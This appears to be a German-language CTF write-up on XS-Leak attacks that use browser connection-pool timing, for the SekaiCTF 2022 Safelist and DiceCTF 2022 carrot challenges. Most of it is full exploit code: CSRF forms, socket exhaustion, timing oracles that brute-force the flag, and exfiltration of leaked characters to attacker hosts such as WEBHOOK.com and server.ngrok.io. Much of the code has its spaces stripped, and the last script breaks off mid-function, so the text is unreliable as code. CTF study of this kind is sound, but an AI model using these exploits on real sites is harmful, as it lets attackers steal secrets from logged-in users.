In der Sekaictf2022 - Safelist Herausforderung gibt @Strellic_ ein Beispiel, wie man eine Variation der Connection Pool Technik verwendet, um einen XS-Leak durchzuführen.
In dieser Herausforderung ist das Ziel, ein Flag zu exfiltrieren, das in der Web-Sitzung des Bots innerhalb eines Posts erscheinen wird. Dies sind die Ressourcen, die der Angreifer hat:
Der Bot wird eine URL besuchen, die vom Angreifer bereitgestellt wird.
Der Angreifer kann HTML in die Seite einspeisen (aber kein JS, dompurify wird verwendet), indem er eine CSRF ausnutzt, die den Bot einen Post erstellen lässt mit diesem HTML.
Der Angreifer kann eine CSRF ausnutzen, um den Bot den erstenPost auf der Webseite löschen zu lassen.
Da die Postsalphabetisch sortiert sind, bedeutet das Löschen des ersten Posts, dass, wenn der HTML-Inhalt des Angreifers geladen wird, er alphabetisch vor dem Flag war.
Um das Flag zu stehlen, schlägt @Strellic_ vor, dass der Bot für jedes zu testende Zeichen:
Einen neuen Post erstellt, der mit dem bekannten Teil des Flags beginnt und mehrere imglädt.
Den Post an Position 0löscht.
255 Sockets blockiert.
Die Seite mit den Posts lädt.
5 zufällige Anfragen an eine Seite (in diesem Fall example.com) durchführt und die dafür benötigte Zeit misst.
Wenn der gelöschte Post das Flag war, bedeutet das, dass alle Bilder, die im HTML eingespeist wurden, mit den 5 zufälligen Anfragen um diesen nicht blockierten Socket kämpfen. Das bedeutet, dass die gemessene Zeit größer sein wird als im anderen Szenario.
Wenn der gelöschte Post das HTML war, werden die 5 zufälligen Anfragenschneller sein, da sie nicht um diesen Socket mit dem eingespeisten HTML kämpfen müssen.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
In diesem Fall war der erste Schritt des Exploits, eine CSRF auszunutzen, um die Seite, auf der sich die Flagge befindet, so zu ändern, dass sie viel mehr Inhalt hat (und daher das Laden mehr Zeit in Anspruch nimmt), und dann den Verbindungspool auszunutzen, um die Zeit zu messen, die benötigt wird, um auf die Seite zuzugreifen, die möglicherweise die Flagge enthält.
Im Exploit sieht man:
CSRF ausnutzen
Alle Sockets bis auf 1 belegen
Die Antwort kalibrieren
Mit dem Brute-Forcing beginnen, indem man auf die potenzielle Seite mit der Flagge zugreift
Die potenzielle Seite wird aufgerufen und sofort wird auch eine von Angreifern kontrollierte URL aufgerufen, um zu überprüfen, wie viel Zeit beide Anfragen benötigen.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {popup.location = url;// needed?awaitsleep(50)let val =awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async (search) => {let url =`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`let t =awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)return t >TIMELIMIT}constbrute=async (flag) => {for (constcharof alphabet) {if (awaitoracle(flag + char)) {return char;}}returnfalse;}constcalibrate=async () => {returnnewPromise(async (r) => {